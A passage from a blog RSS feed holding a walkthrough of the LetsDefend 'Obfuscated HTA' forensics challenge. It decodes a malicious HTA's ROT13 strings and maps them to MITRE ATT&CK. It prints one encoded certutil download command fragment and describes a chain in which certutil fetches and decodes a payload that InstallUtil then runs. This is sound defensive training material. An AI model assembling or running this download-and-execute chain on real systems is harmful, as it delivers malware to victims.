(T1056.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1056/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1056/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Invoke-Expression:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools — MFTECmd:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/EricZimmerman/MFTECmd&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;GitHub — EricZimmerman/MFTECmd: Parses $MFT from NTFS file systems&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Obfuscated HTA Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/</link>
            <pubDate>Sun, 02 Mar 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Obfuscated HTA Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--obfuscated-hta-challenge-walkthrough&#34;&gt;LetsDefend — Obfuscated HTA Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-suspicious-hta-file-with-detect-it-easy-cyberchef-and-mitreattck&#34;&gt;Investigating a suspicious HTA file with Detect-It-Easy, CyberChef, and MITRE ATT&amp;amp;CK.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/obfuscated-hta&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Obfuscated HTA&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this digital forensics and incident response (DFIR) challenge, we&amp;rsquo;re given a suspicious &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/HTML_Application&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;HTML Application (HTA)&lt;/strong&gt;&lt;/a&gt; file discovered on a malware-infected device. Our goal is to open it up, deobfuscate the code, and determine what this file is doing to prevent this attack from happening again.&lt;/p&gt;&#xA;&lt;p&gt;To aid us in our investigation of the HTA file, we&amp;rsquo;ll leverage &lt;strong&gt;Detect-It-Easy&lt;/strong&gt; for the file analysis and &lt;strong&gt;CyberChef&lt;/strong&gt; for the decoding operations. Then, we&amp;rsquo;ll enrich our findings with &lt;strong&gt;MITRE ATT&amp;amp;CK,&lt;/strong&gt; a global knowledge base of adversary tactics and techniques, and &lt;strong&gt;Microsoft Learn&lt;/strong&gt; to gain a comprehensive understanding of the attack.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;&lt;em&gt;A suspicious HTA (HTML Application) file was found on an infected machine. The file is obfuscated to hide its true purpose. Your task is to analyze the code, reverse the obfuscation, and determine what the file is doing. Focus on how the code works and the actions it performs to uncover its true purpose.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-deobfuscated-result-of-the-sample-instr1&#34;&gt;Question 1: What is the deobfuscated result of the sample in str1?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off our investigation by extracting the suspicious HTA file from &lt;code&gt;sample.7z&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;509px&#34; data-flex-grow=&#34;212&#34; height=&#34;377&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/815bb84f003f7982fef0c66822e294f4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we don&amp;rsquo;t have any information about this file yet, we&amp;rsquo;ll need to do some sleuthing. A great starting point is to use &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Detect It Easy (DIE)&lt;/strong&gt;&lt;/a&gt; to identify the file and perform some cursory analysis. Fortunately, this tool is already installed on the &lt;strong&gt;LetsDefend&lt;/strong&gt; analysis environment in the &lt;strong&gt;Tools&lt;/strong&gt; folder. Let&amp;rsquo;s go ahead and open &lt;strong&gt;DIE&lt;/strong&gt; and point it to the mysterious sample file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/8d03adc59bf26bf77f571af834e4b764_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once &lt;strong&gt;DIE&lt;/strong&gt; is loaded and has parsed the sample, we can confirm it&amp;rsquo;s an HTML application, which leaves us a couple of options to examine the contents. We can open it in a text editor like &lt;strong&gt;Notepad++&lt;/strong&gt; or we can examine it within &lt;strong&gt;Detect-It-Easy.&lt;/strong&gt; Either choice will work for this challenge.&lt;/p&gt;&#xA;&lt;p&gt;For this walkthrough, I&amp;rsquo;ll be using the latter. In &lt;strong&gt;DIE&lt;/strong&gt;, press the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Binary&amp;quot;&#xA;button, and select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Strings.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/0e8272fddd9ad90d33295ab19088469e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Scroll to line 34, where we see a reference to the &lt;code&gt;str1&lt;/code&gt; variable as &lt;code&gt;scram(sample)&lt;/code&gt; — but this doesn&amp;rsquo;t tell us what the &lt;code&gt;sample&lt;/code&gt; is to answer the &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, let&amp;rsquo;s start at the top of the file, looking specifically at line 13. We see &lt;code&gt;var sample&lt;/code&gt; defined as a strange-looking, obfuscated string. Now we need to figure out how to decode this and make it readable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/ddc281679bacd77a85bb861d502b7d77_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;preghgvy.rkr -heypnpur -fcyvg -s&lt;/p&gt;&#xA;&lt;p&gt;To gain some insight, let&amp;rsquo;s review the function on lines 14€“19. It appears that &lt;code&gt;var scram&lt;/code&gt; is a function that transforms text strings, but the key is the operation on line 19, which references &lt;code&gt;var ranalph&lt;/code&gt; variable.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re getting closer! Now, focus on &lt;code&gt;var ranalph&lt;/code&gt; defined back on line 9, and notice &lt;code&gt;var alph&lt;/code&gt; right above it. Comparing them, &lt;code&gt;var alph&lt;/code&gt; letter &lt;strong&gt;A&lt;/strong&gt; matches &lt;code&gt;var ranalph&lt;/code&gt; letter &lt;strong&gt;N&lt;/strong&gt;, &lt;strong&gt;B&lt;/strong&gt; matches &lt;strong&gt;O&lt;/strong&gt;, &lt;strong&gt;C&lt;/strong&gt; matches &lt;strong&gt;P&lt;/strong&gt;, etc. meaning that the letters are replaced with the letter 13 places after it&amp;hellip;this sounds like the &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/ROT13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ROT13&lt;/strong&gt;&lt;/a&gt; cipher!&lt;/p&gt;&#xA;&lt;p&gt;Now that we have a theory about what encoding is being used, let&amp;rsquo;s test it out and speed up our analysis by using &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; This utility is included in the &lt;strong&gt;Tools&lt;/strong&gt; folder of the LetsDefend VM, or you can use the web-based version — your choice!&lt;/p&gt;&#xA;&lt;p&gt;Either way, once in &lt;strong&gt;CyberChef&lt;/strong&gt;, paste the encoded &lt;code&gt;var sample&lt;/code&gt; string we found earlier, add the &lt;strong&gt;ROT13&lt;/strong&gt; operation to the recipe, and check out the output — I think we&amp;rsquo;ve found the answer to &lt;strong&gt;Question 1!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;327px&#34; data-flex-grow=&#34;136&#34; height=&#34;586&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/43b34903989c224461e11f9bb0b35997_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;But, before we go too much further, let&amp;rsquo;s examine the output and focus on the usage of &lt;code&gt;certutil.exe&lt;/code&gt;. While we don&amp;rsquo;t yet have the full context of the application, we can start to build the narrative by referring to &lt;strong&gt;MITRE ATT&amp;amp;CK&amp;rsquo;s&lt;/strong&gt; reference for &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0160/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;certutil&lt;/strong&gt;&lt;/a&gt; for additional intelligence.&lt;/p&gt;&#xA;&lt;p&gt;Reviewing the associated techniques, we&amp;rsquo;ll discover that &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0160&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;certutil&lt;/em&gt;&lt;/a&gt; _can be used to download files from a given URL&amp;quot;(&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1105/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1105&lt;/a&gt;). Based on the decoded strings that we discovered in &lt;strong&gt;CyberChef,&lt;/strong&gt; this might indicate that the application performs some download actions.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s keep this in mind as we continue analyzing the rest of the file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/624e274c9ac3c02f7b95a87e19a6c838_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-after-deobfuscating-the-sample-in-str2-what-is-the-resulting-output&#34;&gt;Question 2: After deobfuscating the sample in str2, what is the resulting output?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve determined how the strings are obfuscated, let&amp;rsquo;s find the &lt;code&gt;sample&lt;/code&gt; variable used by &lt;code&gt;str2&lt;/code&gt;. We can find this down on line 39, where we see an IP address with some additional obfuscated strings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;340px&#34; data-flex-grow=&#34;141&#34; height=&#34;564&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/52562877f26441e939633deab37cd5e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To discover the answer to &lt;strong&gt;Question 2&lt;/strong&gt;, we&amp;rsquo;ll copy the line into &lt;strong&gt;CyberChef&lt;/strong&gt; again using our existing recipe to reveal some additional clues.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;582&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/d36e5bd13cb94c27eefc12a749c985a7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve now found an IP address and port where a file (&lt;code&gt;file.txt&lt;/code&gt;) is downloaded from, and the directory it&amp;rsquo;s then copied to on the local system.&lt;/p&gt;&#xA;&lt;p&gt;This puts us very close to the answer, but the output doesn&amp;rsquo;t quite match the answer format, does it? We can add the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Find / Replace&amp;quot;&#xA;operation to the recipe to clean up the extra characters, which should get us to the correct format.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/5c3ab8eb9592d8d1a81c02d49c51266b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/c63d6cfa43121c004f22d5ae151da7b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-deobfuscated-result-of-sample-instr3&#34;&gt;Question 3: What is the deobfuscated result of sample in str3?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we&amp;rsquo;ll perform the same actions that we did in the last question. We&amp;rsquo;ll find this &lt;code&gt;sample&lt;/code&gt; on line 42. Once again, drop it into &lt;strong&gt;CyberChef&lt;/strong&gt; to decode the protocol used.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/7bb74464a7e567c0622b97436db84bdc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/8cadb1b2ec59defb79eda2714b670583_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/bc02e1f14eb470673425b17ace29a028_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-does-the-sample-in-str4-translate-to-after-deobfuscation&#34;&gt;Question 4: What does the sample in str4 translate to after deobfuscation?&#xA;&lt;/h3&gt;&lt;p&gt;Can you guess what we need to do to answer &lt;strong&gt;Question 4?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;562&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/eba8bffa98f8be1955d3380e0bbd725a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s right! We&amp;rsquo;ll copy the contents of the &lt;code&gt;sample&lt;/code&gt; on line 46 and jump back over to &lt;strong&gt;CyberChef&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/934c9837fe059a28b7bc38951457f63e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the string is deobfuscated, we&amp;rsquo;ll uncover another piece of the puzzle. Remember in &lt;strong&gt;Question 2,&lt;/strong&gt; we found evidence of where &lt;code&gt;file.txt&lt;/code&gt; was downloaded from? From this new snippet, we see the next step: &lt;strong&gt;certutil&lt;/strong&gt; is used to decode the contents of &lt;code&gt;file.txt&lt;/code&gt; and output the results as a new binary, &lt;code&gt;bp.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But how did that happen? Let&amp;rsquo;s refer back to the &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; page for &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0160/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;certutil&lt;/strong&gt;&lt;/a&gt; to gather more information. We already learned that &lt;strong&gt;certutil&lt;/strong&gt; can be used to download files, but we also see another associated technique (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1140/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1140&lt;/a&gt;) listed, which is relevant for this question:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0160&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;certutil&lt;/a&gt; has been used to decode binaries hidden inside certificate files as Base64 information.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;We can also check the syntax on &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil#-decode&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Microsoft Learn&lt;/strong&gt;&lt;/a&gt; to validate this as well:&lt;/p&gt;&#xA;&lt;p&gt;certutil [options] -decode InFile OutFile&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/6fa013b4ef6895ad1e32133312bb4258_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-deobfuscated-result-of-sample-instr5&#34;&gt;Question 5: What is the deobfuscated result of sample in str5?&#xA;&lt;/h3&gt;&lt;p&gt;Next up, copy the &lt;code&gt;sample&lt;/code&gt; content on line 50 for &lt;code&gt;str5&lt;/code&gt; and return to &lt;strong&gt;CyberChef.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;342px&#34; data-flex-grow=&#34;142&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/6ea4c8fefca50db7b12e69d6105278dd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;330px&#34; data-flex-grow=&#34;137&#34; height=&#34;581&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/7f35ba4fc079784a9dc1d5897ad02049_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After decoding this command, we can determine that the &lt;code&gt;InstallUtil.exe&lt;/code&gt; provided as part of the &lt;strong&gt;Microsoft .NET Framework&lt;/strong&gt; interacts with the newly created binary, &lt;code&gt;bp.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool&#34;  title=&#34;https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Installutil.exe (Installer Tool) - .NET Framework&lt;/strong&gt;&#xA;_Use Installutil.exe, the Installer Tool. This tool lets you install or uninstall server resources by executing the&amp;hellip;_learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/0e4592999ec9902ef87abb2390fee4fd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-deobfuscated-value-of-the---&#34;&gt;Question 6: What is the deobfuscated value of the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;wobj&amp;quot;&#xA;variable?&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 6&lt;/strong&gt;, find the &lt;code&gt;sample&lt;/code&gt; on line 36.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/c6dc31d76aa79d9740552505bdf32679_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/60bce6be501a1d2f6db83b957ac190ec_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;strong&gt;Microsoft Learn,&lt;/strong&gt; &lt;code&gt;wscript&lt;/code&gt; &amp;quot; # &amp;ldquo;provides an environment in which users can execute scripts in various languages that use various object models to perform tasks,&amp;ldquo;indicating some script usage.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2823px&#34; data-flex-grow=&#34;1176&#34; height=&#34;68&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/df6912c4b67b3dcde1de313e614eddcc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-purpose-of-the-cmd-variable-in-thescript&#34;&gt;Question 7: What is the purpose of the cmd variable in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Now it&amp;rsquo;s time to put together all the pieces of the puzzle we&amp;rsquo;ve found so far. First, locate the &lt;code&gt;cmd&lt;/code&gt; variable on line 54.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; 